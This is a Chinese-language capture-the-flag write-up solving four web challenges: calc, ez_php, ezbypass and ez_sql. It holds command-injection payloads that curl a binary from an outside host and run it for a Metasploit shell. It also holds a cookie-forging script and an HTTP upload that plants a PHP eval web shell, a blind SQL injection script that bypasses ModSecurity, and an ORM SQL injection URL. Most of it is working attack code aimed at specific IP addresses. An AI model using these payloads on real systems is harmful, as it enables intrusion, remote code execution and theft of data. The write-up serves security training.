1.calc
右键 /source 源码
@app.route("/calc",methods=['GET'])
def calc():ip = request.remote_addrnum = request.values.get("num")log = "echo {0}{1}{2}> ./tmp/log.txt".format(time.strftime("%Y%m%d-%H%M%S",time.localtime()),ip,num)if waf(num):try:data = eval(num)os.system(log)except:passreturn str(data)else:return "waf!!"
flask 报错可以看到 waf 的过滤规则
http://162.14.110.241:8050/calc?num[]=
def waf(s):blacklist = ['import','(',')','#','@','^','$',',','>','?','`',' ','_','|',';','"','{','}','&','getattr','os','system','class','subclasses','mro','request','args','eval','if','subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals','__init__','join','__dict__']flag = Truefor no in blacklist:if no.lower() in s.lower():flag= Falseprint(no)breakreturn flag
试了一圈发现可以对 num 操作一下, 用 %0a 分隔不同命令, %09 代替空格
然后注意需要使语句正常执行 eval(num), 不然就不会跳到 os.system(log) 这句, 解决方法是用单引号把命令包起来
/calc?num=%0a'curl'%09'gtwq54.dnslog.cn'%0a因为过滤了反引号不好外带回显, 索性直接用 curl 下载 payload 配合 msf 上线
/calc?num=%0a'curl'%09'http://x.x.x.x:yyyy/testapp'%09'-o'%09'/tmp/testapp'%0a
/calc?num=%0a'chmod'%09'777'%09'/tmp/testapp'%0a
/calc?num=%0a'/tmp/testapp'%0a
2.ez_php
ayacms github 地址
https://github.com/loadream/AyaCMS
issues 里能看到很多漏洞, 但是全都要登录后台/前台
后台 admin.php 试了弱口令无果, 前台也无法注册…
于是直接下载源码进行代码审计, 然后看了大半天
源码很多地方开头都有 defined('IN_AYA') or exit('Access Denied');, 即不能直接访问, 必须要通过其它已经定义 IN_AYA 常量的 php 文件来 include 或 require 才行
这样思路就转换为寻找存在文件包含的漏洞点
找了好久在 /aya/admin.inc.php 找到一处
其中的 get_cookie 获取带有 aya_ 前缀的 cookie 值, decrypt 也能找到对应 encrypt 函数的源码
加密过程中的 AYA_KEY 就是默认值 aaa
有了文件包含之后思路就广了许多, 然后结合一下已知漏洞
https://github.com/loadream/AyaCMS/issues/3
payload
<?php
function random($length=4,$chars='abcdefghijklmnopqrstuvwxyz'){$hash='';$max=strlen($chars)-1;for($i=0;$i<$length;$i++){$hash.=$chars[mt_rand(0,$max)];}return $hash;
}
function kecrypt($txt,$key){$key=md5($key);$len=strlen($txt);$ctr=0;$str='';for($i=0;$i<$len;$i++){$ctr=$ctr==32?0:$ctr;$str.=$txt[$i]^$key[$ctr++];}return $str;
}
function encrypt($txt,$key=''){$key or $key='aaa';$rnd=random(32);$len=strlen($txt);$ctr=0;$str='';for($i=0;$i<$len;$i++){$ctr=$ctr==32?0:$ctr;$str.=$rnd[$ctr].($txt[$i]^$rnd[$ctr++]);}return str_replace('=','',base64_encode(kecrypt($str,$key)));
}
echo encrypt('../module/admin/fst_upload');
http 包
POST /aya/admin.inc.php HTTP/1.1
Host: 81.70.155.160
Content-Length: 244
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: null
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykhsd4wQ8UBmzCnD1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.62
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Cookie: aya_admin_lang=QWwPIAJ9EitZZEEoQWtYOFA0DCUAMFttV2ANPBUlRmFNKBRmFTEQG1ZxTDFaaVEyQyMWdA
Connection: close
------WebKitFormBoundarykhsd4wQ8UBmzCnD1
Content-Disposition: form-data; name="upfile"; filename="xzxz123123123.php"
Content-Type: application/octet-stream
<?php eval($_REQUEST[1]);phpinfo();?>
------WebKitFormBoundarykhsd4wQ8UBmzCnD1
3.ezbypass
hint 提示 waf 是 modsecurity
题目地址：http://162.14.110.241:8099/sql.php http://121.37.11.207:8099/sql.php
网上找到一篇参考文章
https://blog.h3xstream.com/2021/10/bypassing-modsecurity-waf.html
剩下就是照着它的 payload 用脚本直接梭, 因为题目提示 Can you find my password?, 所以猜 password 列的内容就行
import requests
import time
flag = ''
i = 1
while True:min = 32max = 127while min < max:time.sleep(0.08)mid = (min + max) // 2print(chr(mid))payload = 'if(ascii 1.e(substring(1.e(select password from users.info),{},1))>{},1,0)'.format(i, mid)url = 'http://162.14.110.241:8099/sql.php?id={}'.format(payload)res = requests.get(url)if 'letian' in res.text:min = mid + 1else:max = midflag += chr(min)i += 1print('found', flag)
4.ez_sql
题目描述给了源码
app.js
import { Application, Router, helpers } from "https://deno.land/x/oak/mod.ts";
import Flight from './db.js';
const app = new Application();
const router = new Router();
router.get('/', async(ctx) => {ctx.response.body = 'check your flight `/flight?id=`';
});
router.get('/flight', async(ctx) => {const id = helpers.getQuery(ctx, { mergeParams: true });const info = await Flight.select({departure: 'departure', destination: 'destination'}).where(id).all();ctx.response.body = info;
});
app.use(router.routes());
app.use(router.allowedMethods());
app.listen({ port: 3000, hostname: '0.0.0.0' });
db.js
import { DataTypes, Database, Model, SQLite3Connector} from "https://deno.land/x/denodb@v1.0.40/mod.ts";
const connector = new SQLite3Connector({filepath: '/tmp/flight.db'
});
const db = new Database(connector);
class Flight extends Model {static table = 'flight';static fields = {id: { primaryKey: true, autoIncrement: true },departure: DataTypes.STRING,destination: DataTypes.STRING,};
}
class Flag extends Model {static table = 'flag';static fields = {flag: DataTypes.STRING,};
}
db.link([Flight, Flag]);
await db.sync({ drop: true });
await Flight.create({departure: 'Paris',destination: 'Tokyo',
});
await Flight.create({departure: 'Las Vegas',destination: 'Washington',
});
await Flight.create({departure: 'London',destination: 'San Francisco',
});
await Flag.create({flag: Deno.env.get('flag'),
});
export default Flight
跟 Hack.lu 2022 foodAPI 几乎一模一样, 参考文章如下
https://blog.huli.tw/2022/10/31/hacklu-ctf-2022-writeup/
https://gist.github.com/parrot409/f7f5807478f50376057fba755865bd98
https://gist.github.com/terjanq/1926a1afb420bd98ac7b97031e377436
唯一的区别是原题 id 用的是 restful api 的形式, 而这道题是 get 传参, 不能直接照抄 exp
不过稍微看一下文章中分析的原理就能知道思路是利用参数 ? 来拼接 sql 语句, 所以仿照原来的 payload 将 ? 作为另一个 get query 传递进去
http://81.70.155.160:3000/flight?id=1&?=a` and 0 union select flag,2 from flag;
